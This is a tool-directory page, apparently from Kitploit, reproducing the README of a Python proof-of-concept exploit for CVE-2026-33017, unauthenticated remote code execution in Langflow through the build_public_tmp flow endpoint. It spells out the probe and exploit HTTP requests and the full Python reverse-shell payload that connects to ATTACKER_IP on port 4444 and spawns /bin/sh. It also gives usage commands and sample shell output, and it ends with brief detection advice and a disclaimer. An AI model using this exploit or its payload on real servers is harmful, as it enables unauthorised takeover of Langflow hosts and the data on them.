Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-33017 — Python proof-of-concept for CVE-2026-33017: unauthenticated RCE in Langflow via the build_public_tmp flow endpoint, executing custom component code to spawn a reverse shell. | Kitploit
Tools/GitHubGitHub/k3ystr0k3r/cve-2026-33017
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access ToolPayload Development
GitHubk3ystr0k3r/cve-2026-33017

CVE-2026-33017

Python proof-of-concept for CVE-2026-33017: unauthenticated RCE in Langflow via the build_public_tmp flow endpoint, executing custom component code to spawn a reverse shell.

View Repository
1Dec 3, 2026Not yet reviewed

Related Tools

  • nuclei

    Fast YAML-based vulnerability scanner with template-driven detection engine for automated security testing across web apps, APIs, networks, DNS, and cloud infrastructure.

  • zaproxy

    Open-source web application security scanner for automated vulnerability detection, manual penetration testing, and API security testing with a proxy-based interception engine.

  • openvas-scanner

    This repository contains the scanner component for Greenbone Community Edition.

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    Callisto

    jetp1ane/callisto

    Automated binary vulnerability analysis tool that decompiles executables via Ghidra, scans pseudo-C code with Semgrep, and validates findings using GPT-3.5-Turbo to reduce false positives.

    2.3k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    One-tap Android kernel exploit app for CVE-2026-43499, providing privilege escalation via kernel module loading, with offset extraction and on-device analysis tools.

    836
  • 3

    DFRoot

    a2333c/dfroot

    Android root tool for Samsung Galaxy S25 Ultra (SM-S938B) that chains DirtyFrag CVE-2026-43284 and CVE-2026-43499 to gain root automatically at boot via KernelSU.

    449
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    391
  • 5

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    346
  • 6

    faraday

    infobyte/faraday

    Open-source and AI-powered cybersecurity tools for offensive security, vulnerability management, and autonomous pentesting. Built by hackers in Latin America, used worldwide.

    345

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-33017 — Langflow Unauthenticated RCE

A proof-of-concept demonstrating unauthenticated remote code execution against vulnerable Langflow instances through the build_public_tmp flow endpoint. The exploit abuses the handling of custom component code during flow construction. A crafted flow definition supplies Python code that is executed server-side when the application processes the component. No authenticated session is configured by this PoC. The result is a reverse shell initiated from the target to an attacker-controlled listener.

Vulnerability Details

FieldDetails
CVECVE-2026-33017
ProductLangflow
VulnerabilityUnauthenticated Remote Code Execution
ImpactRemote code execution
AuthenticationNot required by this PoC
Exploit typePython-based PoC
PayloadCustom component execution
ConnectionReverse TCP shell

Affected versions: To be confirmed against the vendor advisory.

Fixed version: To be confirmed against the vendor advisory.

Technical Breakdown

The exploit interacts with the following API endpoints:

1. Initial endpoint probe

GET /

The script checks whether the target is reachable and responds with HTTP 200 or 302.

2. Vulnerability probe

POST /api/v1/build_public_tmp/test/flow

A minimal flow definition is submitted:

POST /api/v1/build_public_tmp/test/flow HTTP/1.1
Host: 127.0.0.1:7860
Content-Type: application/json
Cookie: client_id=<random-uuid>

{
  "data": {
    "nodes": [],
    "edges": []
  }
}

The PoC treats responses with status codes 200, 400, 404 or 422 as evidence that the endpoint is reachable.

This is an endpoint reachability check, not definitive proof of vulnerability.

3. Exploit request

The exploit constructs a custom component named ExploitsSxnB.

Its component definition includes an output method that executes the supplied Python code.

The payload is compressed using zlib and encoded with Base64 before being embedded into the component.

The resulting flow is submitted to:

POST /api/v1/build_public_tmp/<FLOW_ID>/flow

Example request structure:

POST /api/v1/build_public_tmp/<FLOW_ID>/flow HTTP/1.1
Host: 127.0.0.1:7860
Content-Type: application/json
Cookie: client_id=<random-uuid>
User-Agent: exploit/<random-string>

{
  "data": {
    "nodes": [
      {
        "id": "exploit-ABC123",
        "type": "genericNode",
        "position": {
          "x": 123,
          "y": 456
        },
        "data": {
          "id": "exploit-ABC123",
          "type": "ExploitsSxnB",
          "node": {
            "template": {
              "code": {
                "type": "code",
                "required": true,
                "show": true,
                "multiline": true,
                "value": "<CUSTOM_COMPONENT_PYTHON_CODE>",
                "name": "code"
              },
              "_type": "Component"
            },
            "display_name": "ExploitsSxnB",
            "name": "ExploitsSxnB"
          }
        }
      }
    ],
    "edges": []
  },
  "inputs": null
}

The actual exploit generates the complete component definition dynamically, including its output configuration and encoded execution payload.

The flow ID must correspond to a public flow on the target.

Payload Execution

The custom component imports the required Langflow classes:

from lfx.custom.custom_component.component import Component
from lfx.io import Output
from lfx.schema.data import Data

It defines an output method that reconstructs and executes the encoded Python payload.

The decoded payload performs the following operations:

  1. Creates a TCP socket.
  2. Connects to the configured callback address and port.
  3. Redirects file descriptors 0, 1 and 2 to the socket.
  4. Starts an interactive /bin/sh process.

The execution logic:

import socket
import os
import subprocess

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("ATTACKER_IP", 4444))

os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)

subprocess.call(["/bin/sh", "-i"])

The connection originates from the Langflow server.

This is not a bind shell. The target initiates the outbound TCP connection to the configured callback listener.

Callback Behaviour

Before sending the exploit request, the PoC starts a TCP listener.

The listener binds to the supplied callback address and port, waits for an incoming connection, and passes the accepted socket to the interactive shell handler.

The script also handles:

  • Connection timeouts.
  • Failed HTTP requests.
  • Shell prompt cleanup.
  • Basic interactive command input and output.
  • Connection closure and keyboard interruption.

A successful callback provides an interactive shell with the privileges of the Langflow process.

Usage

Install dependencies

pip install requests rich

Rich is optional. The exploit falls back to standard Python logging when it is unavailable.

Start exploitation

python3 exploit.py \
  -t http://127.0.0.1:7860 \
  -f <FLOW_ID> \
  -l <CALLBACK_IP> \
  -p 4444

Arguments

ArgumentDescription
-t, --targetTarget Langflow base URL
-f, --flow-idPublic flow UUID
-l, --lhostCallback address
-p, --lportCallback port (default: 4444)
--timeoutHTTP request timeout (default: 15 seconds)
--waitCallback timeout (default: 45 seconds)

Example:

python3 exploit.py \
  -t http://192.168.1.100:7860 \
  -f 12345678-abcd-1234-abcd-123456789abc \
  -l 192.168.1.50 \
  -p 4444

Expected Output

The following illustrates the expected execution sequence. Addresses, identifiers and HTTP responses will vary.

[INFO] probing http://127.0.0.1:7860
[INFO] Langflow instance detected
[INFO] build_public_tmp endpoint reachable - target is likely vulnerable
[INFO] listening on 127.0.0.1:4444
[INFO] firing payload at http://127.0.0.1:7860/api/v1/build_public_tmp/<FLOW_ID>/flow
[INFO] HTTP 200
[INFO] waiting up to 45s for shell
[INFO] shell from 127.0.0.1:53124
[INFO] interactive shell - type 'exit' to close, Ctrl-C to abort
~$ id
uid=1000(langflow) gid=1000(langflow) groups=1000(langflow)

Illustrative output, not a captured exploitation result.

Limitations

  • Requires a reachable Langflow instance.
  • Requires a valid public flow ID.
  • The target must be able to establish an outbound TCP connection to the callback listener.
  • Network filtering may prevent the reverse connection.
  • The shell inherits the privileges of the Langflow process.
  • Endpoint reachability does not establish vulnerability.
  • HTTP status codes alone are not sufficient to confirm successful code execution.

Detection & Mitigation

Defenders should investigate:

  • Unexpected requests to /api/v1/build_public_tmp/.
  • Unauthenticated flow construction requests.
  • Unexpected custom component definitions.
  • Langflow processes spawning shells or other unexpected child processes.
  • Outbound connections initiated by Langflow to unfamiliar addresses.
  • Unexpected Python execution originating from the application.

Restrict access to exposed Langflow endpoints, review public flow functionality, and upgrade to a vendor-confirmed patched release.

Disclaimer

This project is intended for vulnerability research, controlled testing and defensive security validation. Only test systems you own.

Download Tool